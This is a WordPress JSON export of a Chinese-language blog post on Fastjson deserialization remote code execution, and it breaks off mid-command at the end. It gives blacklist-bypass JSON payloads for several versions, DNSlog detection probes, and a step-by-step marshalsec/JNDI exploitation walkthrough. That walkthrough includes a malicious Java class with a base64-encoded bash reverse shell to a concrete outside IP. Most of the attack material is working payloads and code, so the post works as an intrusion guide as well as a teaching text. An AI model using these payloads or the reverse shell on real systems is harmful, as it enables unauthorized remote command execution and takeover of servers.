{"id":1549,"date":"2025-01-19T22:27:08","date_gmt":"2025-01-19T14:27:08","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=1549"},"modified":"2025-01-19T22:28:00","modified_gmt":"2025-01-19T14:28:00","slug":"03-fastjson-%e6%bc%8f%e6%b4%9e","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/01\/19\/03-fastjson-%e6%bc%8f%e6%b4%9e\/","title":{"rendered":"03.FastJson \u6f0f\u6d1e"},"content":{"rendered":"<h2>\u4e00\u3001Fastjson \u7b80\u4ecb<\/h2>\n<p>Fastjson \u662f\u963f\u91cc\u5df4\u5df4\u516c\u53f8\u5f00\u6e90\u7684\u4e00\u4e2a\u9ad8\u6027\u80fd\u7684 Java \u5e93\uff0c\u4e13\u95e8\u7528\u4e8e\u5904\u7406 JSON \u6570\u636e\u683c\u5f0f\u3002\u5b83\u4e0d\u4ec5\u80fd \u591f\u5c06 Java \u5bf9\u8c61\u5e8f\u5217\u5316\u4e3a JSON \u683c\u5f0f\u7684\u5b57\u7b26\u4e32\uff0c\u8fd8\u80fd\u5c06 JSON \u5b57\u7b26\u4e32\u53cd\u5e8f\u5217\u5316\u4e3a Java \u5bf9\u8c61\u3002<\/p>\n<h2>\u4e8c\u3001\u5386\u53f2\u6f0f\u6d1e<\/h2>\n<p>Fastjson &lt;=1.2.24 \u53cd\u5e8f\u5217\u5316\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e<br \/>\nFastjson &lt;=1.2.41 \u53cd\u5e8f\u5217\u5316\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e<br \/>\nFastjson &lt;=1.2.42 \u53cd\u5e8f\u5217\u5316\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e<br \/>\nFastjson &lt;=1.2.43 \u53cd\u5e8f\u5217\u5316\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e<br \/>\nFastjson &lt;=1.2.45 \u53cd\u5e8f\u5217\u5316\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e<br \/>\nFastjson &lt;=1.2.47 \u53cd\u5e8f\u5217\u5316\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e<br \/>\nFastjson &lt;=1.2.62 \u53cd\u5e8f\u5217\u5316\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e<br \/>\nFastjson &lt;=1.2.66 \u53cd\u5e8f\u5217\u5316\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e<\/p>\n<h3>1.FastJson &lt;= 1.2.24<\/h3>\n<p>Fastjson \u7248\u672c 1.2.24 \u53ca\u4e4b\u524d\u7684\u7248\u672c\u4e2d\u5b58\u5728\u4e00\u4e2a\u7279\u5b9a\u7684\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\uff0c\u8be5\u6f0f\u6d1e\u53ef\u4ee5\u88ab\u5229\u7528\u6765\u6267\u884c\u8fdc \u7a0b\u4ee3\u7801\u3002\u8fd9\u4e2a\u6f0f\u6d1e\u4e3b\u8981\u7531\u4e8e Fastjson \u5728\u5904\u7406 JSON \u5bf9\u8c61\u65f6\uff0c\u81ea\u52a8\u5339\u914d\u5e76\u8c03\u7528 Java \u5bf9\u8c61\u7684 \u6cd5\uff0c\u5982\u679c JSON \u4e2d\u5305\u542b\u4e86 Java \u5bf9\u8c61\u7684 setter \u65b9 setter \u65b9\u6cd5\u53ef\u4ee5\u88ab\u8c03\u7528\u7684\u5c5e\u6027\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5229\u7528\u8fd9\u4e2a\u7279\u6027\u6765 \u89e6\u53d1\u6076\u610f\u884c\u4e3a\u3002<br \/>\n\u4f8b\u5982\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u6784\u9020\u4e00\u4e2a\u5305\u542b\u7279\u5b9a\u7c7b\u5f15\u7528\u7684 JSON \u5bf9\u8c61\uff0c\u8be5\u7c7b\u5177\u6709\u53ef\u4ee5\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u7684 setter \u65b9 \u6cd5\u3002\u5f53 Fastjson \u5c1d\u8bd5\u53cd\u5e8f\u5217\u5316\u8fd9\u4e2a JSON \u5bf9\u8c61\u65f6\uff0c\u5b83\u5c06\u81ea\u52a8\u8c03\u7528\u8fd9\u4e9b setter \u65b9\u6cd5\uff0c\u4ece\u800c\u53ef\u80fd\u6267\u884c\u653b \u51fb\u8005\u7684\u4ee3\u7801\u3002<\/p>\n<p>Poc\uff1a<\/p>\n<pre><code>{&quot;@type&quot;:&quot;com.sun.rowset.JdbcRowSetImpl&quot;,&quot;dataSourceName&quot;:&quot;ldap:\/\/ip:1389\/Exploit&quot;, &quot;autoCommit&quot;:true}\n<\/code><\/pre>\n<p>@type\uff1a\u76ee\u6807\u53cd\u5e8f\u5217\u5316\u7c7b\u540d\uff1b<br \/>\ndataSourceName\uff1aRMI\u6ce8\u518c\u4e2d\u5fc3\u7ed1\u5b9a\u6076\u610f\u670d\u52a1\uff1b<br \/>\nautoCommit\uff1a\u5728Fastjson JdbcRowSetImpl\u94fe\u4e2d\u53cd\u5e8f\u5217\u5316\u65f6\uff0c\u4f1a\u53bb\u8c03\u7528setAutoCommit\u65b9\u6cd5\u3002<\/p>\n<h3>2.FastJson &lt;= 1.2.41<\/h3>\n<p>\u7b2c\u4e00\u4e2a Fastjson \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u7206\u51fa\u540e\uff0c\u963f\u91cc\u57281.2.25 \u7248\u672c\u8bbe\u7f6e\u4e86 autoTypeSupport \u5c5e\u6027\u9ed8\u8ba4\u4e3afalse\uff0c\u5e76\u4e14\u589e\u52a0\u4e86checkAutoType() \u51fd\u6570\uff0c\u901a\u8fc7\u9ed1\u767d\u540d\u5355\u7684\u65b9\u5f0f\u6765\u9632\u5fa1 Fastjson \u53cd\u5e8f\u5217\u5316\u6f0f \u6d1e\uff0c\u56e0\u6b64\u540e\u9762\u53d1\u73b0\u7684 Fastjson \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u90fd\u662f\u9488\u5bf9\u9ed1\u540d\u5355\u7ed5\u8fc7\u6765\u5b9e\u73b0\u653b\u51fb\u5229\u7528\u7684\u76ee\u7684\u7684\u3002<br \/>\ncom.sun.rowset.jdbcRowSetlmpl \u5728 1.2.25 \u7248\u672c\u88ab\u52a0\u5165\u4e86\u9ed1\u540d\u5355\uff0cFastjson\u6709\u4e2a\u5224\u65ad\u6761\u4ef6\u5224\u65ad\u7c7b\u540d\u662f\u5426\u4ee5&quot;L&quot;\u5f00\u5934\u3001\u4ee5&quot;;&quot;\u7ed3\u5c3e\uff0c\u662f\u7684\u8bdd\u5c31\u63d0\u53d6\u51fa\u5176\u4e2d\u7684\u7c7b\u540d\u5728\u52a0\u8f7d\u8fdb\u6765<br \/>\n\u90a3\u4e48\u5c31\u53ef\u4ee5\u6784\u9020\u5982\u4e0b EXP<\/p>\n<pre><code>{&quot;@type&quot;:&quot;Lcom.sun.rowset.JdbcRowSetImpl;&quot;, &quot;dataSourceName&quot;:&quot;rmi:\/\/ip:9999\/Exploit&quot;, &quot;autoCommit&quot;:true}\n<\/code><\/pre>\n<h3>3.FastJson &lt;= 1.2.42<\/h3>\n<p>\u963f\u91cc\u5728\u53d1\u73b0\u8fd9\u4e2a\u7ed5\u8fc7\u6f0f\u6d1e\u4e4b\u540e\u505a\u51fa\u4e86\u7c7b\u540d\u5982\u679c\u4e3a L \u5f00\u5934 ; \u7ed3\u5c3e\u7684\u65f6\u5019\u5c31\u5148\u53bb\u6389 L \u548c;\u8fdb\u884c\u9ed1\u540d\u5355\u68c0\u9a8c \u7684\u65b9\u6cd5\uff0c\u4f46\u662f\u6ca1\u6709\u8003\u8651\u5230\u53cc\u5199\u6216\u591a\u5199\u7684\u60c5\u51b5\uff0c\u4e5f\u5c31\u662f\u8bf4\u8fd9\u79cd\u65b9\u6cd5\u53ea\u80fd\u9632\u5fa1\u4e00\u7ec4 L \u548c ;\uff0c\u6784\u9020exp\u5982 \u4e0b\uff0c\u5373\u53cc\u5199 L \u548c ;<\/p>\n<pre><code>{&quot;@type&quot;:&quot;LLcom.sun.rowset.JdbcRowSetImpl;;&quot;, &quot;dataSourceName&quot;:&quot;rmi:\/\/x.x.x.x:9999\/exp&quot;, &quot;autoCommit&quot;:true}\n<\/code><\/pre>\n<h3>4.FastJson &lt;= 1.2.47<\/h3>\n<p>\u57281.2.47\u7248\u672c\u53ca\u4ee5\u4e0b\u7684\u60c5\u51b5\u4e0b\uff0cloadClass \u4e2d\u9ed8\u8ba4 cache \u4e3a true\uff0c\u9996\u5148\u4f7f\u7528 java.lang.Class \u628a\u83b7\u53d6\u5230\u7684\u7c7b\u7f13\u5b58\u5230 mapping \u4e2d\uff0c\u7136\u540e\u76f4\u63a5\u4ece\u7f13\u5b58\u4e2d\u83b7\u53d6\u5230\u4e86com.sun.rowset.jdbcRowSetlmpl \u8fd9 \u4e2a\u7c7b\uff0c\u5373\u53ef\u7ed5\u8fc7\u9ed1\u540d\u5355<\/p>\n<pre><code>{ &quot;a&quot;: { &quot;@type&quot;: &quot;java.lang.Class&quot;,  &quot;val&quot;: &quot;com.sun.rowset.JdbcRowSetImpl&quot; },  &quot;b&quot;: { &quot;@type&quot;: &quot;com.sun.rowset.JdbcRowSetImpl&quot;,  &quot;dataSourceName&quot;: &quot;rmi:\/\/ip:9999\/exp&quot;,  &quot;autoCommit&quot;: true }}\n<\/code><\/pre>\n<h3>5.FastJson &lt;= 1.2.66<\/h3>\n<p>\u57fa\u4e8e\u9ed1\u540d\u5355\u7ed5\u8fc7\uff0c autoTypeSupport \u5c5e\u6027\u4e3a true \u624d\u80fd\u4f7f\u7528\uff0c\u5728 1.2.25\u7248\u672c\u4e4b\u540eautoTypeSupport \u9ed8\u8ba4\u4e3a false<\/p>\n<pre><code>{&quot;@type&quot;:&quot;org.apache.shiro.jndi.JndiObjectFactory&quot;,&quot;resourceName&quot;:&quot;ldap:\/\/ip:1389\/Calc&quot;}\n\n{&quot;@type&quot;:&quot;br.com.anteros.dbcp.AnterosDBCPConfig&quot;,&quot;metricRegistry&quot;:&quot;ldap:\/\/ip:1389\/Calc&quot;}\n\n{&quot;@type&quot;:&quot;org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup&quot;,&quot;jndiNames&quot;:&quot;ldap:\/\/ip:1389\/Calc&quot;}\n<\/code><\/pre>\n<h2>\u4e09\u3001\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n<h3>1.json\u8ba4\u8bc6<\/h3>\n<p><a href=\"https:\/\/www.runoob.com\/json\/json-tutorial.html\">JSON \u6559\u7a0b | \u83dc\u9e1f\u6559\u7a0b<\/a><\/p>\n<p>json\u5b9e\u4f8b<\/p>\n<pre><code class=\"language-json\">{\n    &quot;sites&quot;: [\n    { &quot;name&quot;:&quot;\u83dc\u9e1f\u6559\u7a0b&quot; , &quot;url&quot;:&quot;www.runoob.com&quot; }, \n    { &quot;name&quot;:&quot;google&quot; , &quot;url&quot;:&quot;www.google.com&quot; }, \n    { &quot;name&quot;:&quot;\u5fae\u535a&quot; , &quot;url&quot;:&quot;www.weibo.com&quot; }\n    ]\n}\n<\/code><\/pre>\n<h3>2.FastJson \u5bfb\u627e<\/h3>\n<p>Fastjson \u7684\u4f5c\u7528\u662f\u7528\u4e8e\u5bf9 JSON \u683c\u5f0f\u7684\u6570\u636e\u8fdb\u884c\u89e3\u6790\u548c\u6253\u5305\uff0c\u6240\u4ee5\u51fa\u73b0JSON\u683c\u5f0f\u7684\u5730\u65b9\uff0c\u5c31\u6709\u53ef\u80fd\u4f7f\u7528\u4e86 Fastjson<\/p>\n<h3>3.FastJson \u62a5\u9519\u8bc6\u522b<\/h3>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250114173832.png\" alt=\"Pasted image 20250114173832.png\"><\/p>\n<h3>4.FastJson \u6f0f\u6d1e\u63a2\u6d4b<\/h3>\n<p>\u539f\u7406\uff1a java.net.InetAddress \u8fd9\u4e2a\u7c7b\u5728\u5b9e\u4f8b\u5316\u65f6\u4f1a\u5c1d\u8bd5\u5bf9example.com\u8fdb\u884c\u57df\u540d\u89e3\u6790\uff0c\u8fd9\u65f6\u5019\u53ef\u4ee5\u901a\u8fc7 dnslog \u7684\u65b9\u5f0f\u5f97\u77e5\u6f0f\u6d1e\u662f\u5426\u5b58\u5728<\/p>\n<h4>1\uff09\u5728\u7ebf\u7684DNSlog\u5e73\u53f0<\/h4>\n<p>http:\/\/dnslog.cn\/<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250114170617.png\" alt=\"Pasted image 20250114170617.png\"><\/p>\n<p>https:\/\/www.callback.red\/<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250116180633.png\" alt=\"Pasted image 20250116180633.png\"><\/p>\n<h4>2\uff09\u81ea\u5efa\u7684DNSlog\u5e73\u53f0<\/h4>\n<p><a href=\"https:\/\/gitee.com\/yijingsec\/DNSLog\">DNSLog: DNSLog \u662f\u4e00\u6b3e\u76d1\u63a7 DNS \u89e3\u6790\u8bb0\u5f55\u548c HTTP \u8bbf\u95ee\u8bb0\u5f55\u7684\u5de5\u5177\u3002<\/a><\/p>\n<h4>3\uff09\u6f0f\u6d1e\u53d1\u73b0 Payload<\/h4>\n<pre><code>{\n    &quot;@type&quot;:&quot;java.net.Inet4Address&quot;,\n    &quot;val&quot;:&quot;\u4efb\u610f\u5b57\u7b26.qydzoe.dnslog.cn&quot;\n}\n<\/code><\/pre>\n<p>\u6d4b\u8bd5\u65f6\u53d1\u73b0\u6709\u65f6\u5728\u89e3\u6790 JSON \u524d\u4f1a\u5224\u65ad\u7c7b\u578b\u662f\u5426\u5339\u914d\uff0c\u5339\u914d\u5931\u8d25\u5219\u5728\u89e3\u6790\u524d\u629b\u51fa\u5f02\u5e38\uff0c\u56e0\u6b64\u66f4\u6539 payload \u4e3a\u5982\u4e0b\uff1a<\/p>\n<pre><code>{\n&quot;name&quot;:{\n    &quot;@type&quot;:&quot;java.net.InetAddress&quot;,\n    &quot;val&quot;:&quot;\u4efb\u610f\u5b57\u7b26.qydzoe.dnslog.cn&quot;\n    }\n}\n<\/code><\/pre>\n<p>\u4f7f\u7528\u5728\u7ebfDNSlog\u7f51\u7ad9<br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250114174714.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250114174714.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20250114174714.png\"><\/div><br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250114174727.png\" alt=\"Pasted image 20250114174727.png\"><\/p>\n<p>\u4f7f\u7528bp\u81ea\u5e26\u7684DNSlog<br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250114175229.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250114175229.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20250114175229.png\"><\/div><br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250114175212.png\" alt=\"Pasted image 20250114175212.png\"><\/p>\n<h4>4\uff09\u5176\u4ed6payload<\/h4>\n<pre><code>{\n&quot;name&quot;:{\n    &quot;@type&quot;:&quot;Ljava.net.InetAddress;&quot;,\n    &quot;val&quot;:&quot;\u4efb\u610f\u5b57\u7b26.qydzoe.dnslog.cn&quot;\n    }\n}\n<\/code><\/pre>\n<pre><code>{\n&quot;name&quot;:{\n    &quot;@type&quot;:&quot;LLjava.net.InetAddress;;&quot;,\n    &quot;val&quot;:&quot;\u4efb\u610f\u5b57\u7b26.qydzoe.dnslog.cn&quot;\n    }\n}\n<\/code><\/pre>\n<h2>\u56db\u3001FastJson-1.2.47 \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e<\/h2>\n<h3>1.\u6f0f\u6d1e\u6982\u8ff0<\/h3>\n<h3>2.\u5f71\u54cd\u7248\u672c<\/h3>\n<p>Fastjson &lt; 1.2.48<\/p>\n<h3>3.\u6f0f\u6d1e\u68c0\u6d4b<\/h3>\n<p>\u539f\u7406\uff1a java.net.InetAddress \u8fd9\u4e2a\u7c7b\u5728\u5b9e\u4f8b\u5316\u65f6\u4f1a\u5c1d\u8bd5\u5bf9example.com\u8fdb\u884c\u57df\u540d\u89e3\u6790\uff0c\u8fd9\u65f6\u5019\u53ef\u4ee5\u901a\u8fc7 dnslog \u7684\u65b9\u5f0f\u5f97\u77e5\u6f0f\u6d1e\u662f\u5426\u5b58\u5728<\/p>\n<pre><code>{\n    &quot;name&quot;:{\n        &quot;@type&quot;:&quot;java.net.InetAddress&quot;,\n        &quot;val&quot;:&quot;i1q73g.dnslog.cn&quot;\n    }\n}\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250114182021.png\" alt=\"Pasted image 20250114182021.png\"><\/p>\n<h3>4.JNDI \u6ce8\u5165 + RMI<\/h3>\n<p>JNDI<br \/>\n\u5b83\u662fJava\u7684\u4e00\u4e2a\u5e94\u7528\u7a0b\u5e8f\u7f16\u7a0b\u63a5\u53e3\uff0c\u63d0\u4f9b\u4e86\u547d\u540d\u548c\u76ee\u5f55\u529f\u80fd\u3002\u5c31\u50cf\u7535\u8bdd\u7c3f\u4e00\u6837\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u540d\u5b57\u6765\u67e5\u627e\u5bf9\u8c61\u3002<br \/>\n\u53ef\u4ee5\u8bbf\u95ee\u4ee5\u4e0b\u547d\u540d\/\u76ee\u5f55\u670d\u52a1\uff1a<\/p>\n<ul>\n<li>RMI (JAVA \u8fdc\u7a0b\u65b9\u6cd5\u8c03\u7528)<\/li>\n<li>LDAP (\u8f7b\u91cf\u7ea7\u76ee\u5f55\u8bbf\u95ee\u534f\u8bae)<\/li>\n<li>CORBA (\u516c\u5171\u5bf9\u8c61\u8bf7\u6c42\u4ee3\u7406\u4f53\u7cfb\u7ed3\u6784)<\/li>\n<li>DNS (\u57df\u540d\u670d\u52a1)<\/li>\n<\/ul>\n<p>RMI<br \/>\nRMI \u662f Java \u8fdc\u7a0b\u65b9\u6cd5\u8c03\u7528\uff0c\u662f Java \u7f16\u7a0b\u8bed\u8a00\u91cc\uff0c\u4e00\u79cd\u7528\u4e8e\u5b9e\u73b0\u8fdc\u7a0b\u8fc7\u7a0b\u8c03\u7528\u7684\u5e94\u7528\u7a0b\u5e8f\u7f16\u7a0b\u63a5\u53e3\u3002 \u5b83\u4f7f\u5ba2\u6237\u673a\u4e0a\u8fd0\u884c\u7684\u7a0b\u5e8f\u53ef\u4ee5\u8c03\u7528\u8fdc\u7a0b\u670d\u52a1\u5668\u4e0a\u7684\u5bf9\u8c61\u3002<\/p>\n<h4>1\uff09marshalsec<\/h4>\n<h5>\uff081\uff09\u501f\u52a9 marshalsec \u9879\u76ee\u542f\u52a8\u4e00\u4e2a RMI \u670d\u52a1\u5668\uff0c\u76d1\u542c\u4e00\u4e2a\u7aef\u53e3\uff0c\u5e76\u6307\u5b9a\u52a0\u8f7d\u8fdc\u7a0b\u7c7b Exploit.class<\/h5>\n<p>maven \u6253\u5305\u9879\u76ee\u6210 jar \u5305\uff1a<\/p>\n<pre><code>mvn clean package -DskipTests\n<\/code><\/pre>\n<h5>\uff082\uff09\u7f16\u5199\u6076\u610f\u4ee3\u7801<\/h5>\n<p>\u6ce8\u610f\uff1a<\/p>\n<ul>\n<li>Java \u4fdd\u5b58\u7684\u6587\u4ef6\u540d\u5fc5\u987b\u4e0e\u7c7b\u540d\u4e00\u81f4\uff1b<\/li>\n<li>\u5982\u679c\u6587\u4ef6\u4e2d\u53ea\u6709\u4e00\u4e2a\u7c7b\uff0c\u6587\u4ef6\u540d\u5fc5\u987b\u4e0e\u7c7b\u540d\u4e00\u81f4\uff1b<\/li>\n<li>\u4e00\u4e2a Java \u6587\u4ef6\u4e2d\u53ea\u80fd\u6709\u4e00\u4e2a public \u7c7b\uff1b<\/li>\n<li>\u5982\u679c\u6587\u4ef6\u4e2d\u4e0d\u6b62\u4e00\u4e2a\u7c7b\uff0c\u6587\u4ef6\u540d\u5fc5\u987b\u4e0e public \u7c7b\u540d\u4e00\u81f4\uff1b<\/li>\n<li>\u5982\u679c\u6587\u4ef6\u4e2d\u4e0d\u6b62\u4e00\u4e2a\u7c7b\uff0c\u800c\u4e14\u6ca1\u6709 public \u7c7b\uff0c\u6587\u4ef6\u540d\u53ef\u4e0e\u4efb\u4e00\u7c7b\u540d\u4e00\u81f4\u3002<\/li>\n<\/ul>\n<p>Touch.java<\/p>\n<pre><code class=\"language-java\">\/\/ javac Touch.java\nimport java.lang.Runtime;\nimport java.lang.Process;\n\npublic class Touch {\n    public Touch(){\n        try{\n            Runtime.getRuntime().exec(&quot;\/bin\/touch \/tmp\/mingy&quot;);\n        }catch(Exception e){\n            e.printStackTrace();\n        }\n    }\n    public static void main(String[] argv){\n        Touch e = new Touch();\n    }\n}\n<\/code><\/pre>\n<h5>\uff083\uff09\u7f16\u8bd1\u6076\u610f\u4ee3\u7801<\/h5>\n<p>\u5728 jdk8 \u4e0b\u7f16\u8bd1\uff1a<\/p>\n<pre><code>javac Touch.java\n<\/code><\/pre>\n<p>\u5728\u5f53\u524d\u76ee\u5f55\u4f1a\u751f\u6210\u4e00\u4e2a Touch.class \u7684\u5b57\u8282\u7801\u6587\u4ef6<\/p>\n<h5>\uff084\uff09python \u542f\u52a8 http \u670d\u52a1\uff0c\u6258\u7ba1\u7f16\u8bd1\u7684\u6076\u610f\u7c7b\u6587\u4ef6<\/h5>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250114214034.png\" alt=\"Pasted image 20250114214034.png\"><\/p>\n<h5>\uff085\uff09\u542f\u52a8 RMI \u670d\u52a1\uff0c\u52a0\u8f7d\u6307\u5b9a\u6076\u610f\u7c7b<\/h5>\n<pre><code>java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer &quot;http:\/\/120.79.150.243:8000\/#Touch&quot; 9999\n<\/code><\/pre>\n<h5>\uff086\uff09\u53d1\u9001 EXP<\/h5>\n<pre><code>{\n    &quot;a&quot;:{\n        &quot;@type&quot;:&quot;java.lang.Class&quot;,\n        &quot;val&quot;:&quot;com.sun.rowset.JdbcRowSetImpl&quot;\n    },\n    &quot;b&quot;:{\n        &quot;@type&quot;:&quot;com.sun.rowset.JdbcRowSetImpl&quot;,\n        &quot;dataSourceName&quot;:&quot;rmi:\/\/120.79.150.243:9999\/Touch&quot;,\n        &quot;autoCommit&quot;:true\n    }\n}\n<\/code><\/pre>\n<h5>\uff087\uff09\u6f0f\u6d1e\u5229\u7528\u53cd\u5f39 shell<\/h5>\n<p>Exploit.java<\/p>\n<pre><code class=\"language-java\">\/\/javac Exploit.java\nimport java.lang.Runtime;\nimport java.lang.Process;\n\npublic class Exploit {\n    public Exploit(){\n        try{\n            Runtime.getRuntime().exec(&quot;\/bin\/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMTUwLjI0My83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}&quot;);\n        }catch(Exception e){\n            e.printStackTrace();\n        }\n    }\n    public static void main(String[] argv){\n        Exploit e = new Exploit();\n    }\n}\n<\/code><\/pre>\n<p>\u5728 jdk8 \u4e0b\u7f16\u8bd1\uff1a<\/p>\n<pre><code>javac Exploit.java\n<\/code><\/pre>\n<p>\u5728\u5f53\u524d\u76ee\u5f55\u4f1a\u751f\u6210\u4e00\u4e2a Exploit.class \u7684\u5b57\u8282\u7801\u6587\u4ef6<\/p>\n<pre><code>{\n    &quot;a&quot;:{\n        &quot;@type&quot;:&quot;java.lang.Class&quot;,\n        &quot;val&quot;:&quot;com.sun.rowset.JdbcRowSetImpl&quot;\n    },\n    &quot;b&quot;:{\n        &quot;@type&quot;:&quot;com.sun.rowset.JdbcRowSetImpl&quot;,\n        &quot;dataSourceName&quot;:&quot;rmi:\/\/120.79.150.243:9999\/Exploit&quot;,\n        &quot;autoCommit&quot;:true\n    }\n}\n<\/code><\/pre>\n<ol>\n<li>\u5f00\u542fhttp\u670d\u52a1<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250114230118.png\" alt=\"Pasted image 20250114230118.png\"><\/li>\n<li>\u8bb0\u5f97\u6539exp\u7684\u540d\u5b57<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250114230142.png\" alt=\"Pasted image 20250114230142.png\"><\/li>\n<li>\u5f00\u542f\u76d1\u542c<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250114230158.png\" alt=\"Pasted image 20250114230158.png\"><\/li>\n<\/ol>\n<h5>\uff088\uff09\u603b\u7ed3\uff1a<\/h5>\n<ul>\n<li>\u7f16\u5199\u5b57\u8282\u9a6c<\/li>\n<li>\u542f\u52a8 http \u670d\u52a1\uff0c\u6258\u7ba1\u7f16\u8bd1\u7684\u6076\u610f\u7c7b\u6587\u4ef6<\/li>\n<li>\u5f00\u542fRMI\u670d\u52a1\u52a0\u8f7d\u6307\u5b9a\u7c7b<\/li>\n<li>\u53d1\u9001exp\u8bf7\u6c42\u7ed9\u76ee\u6807\u9776\u673a\uff0c\u5b9e\u73b0\u8fdc\u7a0b\u7c7b\u52a0\u8f7d<\/li>\n<\/ul>\n<p>==\u5176\u4e2d\u8bbf\u95ee\u6587\u4ef6\u5730\u5740\uff0c\u76f4\u63a5\u89e6\u53d1\u4e0b\u8f7d==\uff0c\u5373jndi\u670d\u52a1\u5b9e\u73b0\u5b57\u8282\u7801\u4e0b\u8f7d<\/p>\n<h4>2\uff09jndi_tool<\/h4>\n<p>\u53ef\u4ee5\u4e0d\u7528\u5355\u72ec\u542f\u52a8marshalsec\u670d\u52a1\uff0c\u53ef\u51cf\u5c11\u624b\u52a8\u64cd\u4f5c<\/p>\n<h5>\uff081\uff09\u5229\u7528\u5de5\u5177\u542f\u52a8 RMI server<\/h5>\n<pre><code>java -cp jndi_tool.jar jndi.HRMIServer 120.79.150.243 9999 &quot;\u8981\u6267\u884c\u7684\u547d\u4ee4&quot;\n<\/code><\/pre>\n<pre><code>java -cp jndi_tool.jar jndi.HRMIServer 120.79.150.243 9999 &quot;ping gxcm51.dnslog.cn&quot;\n<\/code><\/pre>\n<p>\u6ce8\u610f\uff1a \u5982\u679c\u662f\u53cd\u5f39shell\u7684\u547d\u4ee4\uff0c\u9700\u8981\u5c06\u5176\u8fdb\u884c\u7f16\u7801\uff0c\u7ba1\u9053\u7b26\u3001\u8f93\u5165\u8f93\u51fa\u91cd\u5b9a\u5411\uff0c\u53ea\u6709\u5728 bash \u73af\u5883\u4e0b \u624d\u80fd\u7528\u3002\u800c\u5728\u8fd9\u91cc\uff0c\u6211\u4eec\u4f7f\u7528\u7684\u662f java \u4e3a\u6211\u4eec\u63d0\u4f9b\u7684\u547d\u4ee4\u6267\u884c\u73af\u5883\uff0c\u4e0d\u652f\u6301\u7ba1\u9053\u7b26\u3001\u8f93\u5165\u8f93\u51fa\u91cd\u5b9a \u5411\u7b49\u3002\u56e0\u6b64\u9700\u8981 base64 \u7f16\u7801\u4e00\u4e0b\u3002<\/p>\n<pre><code>java -cp 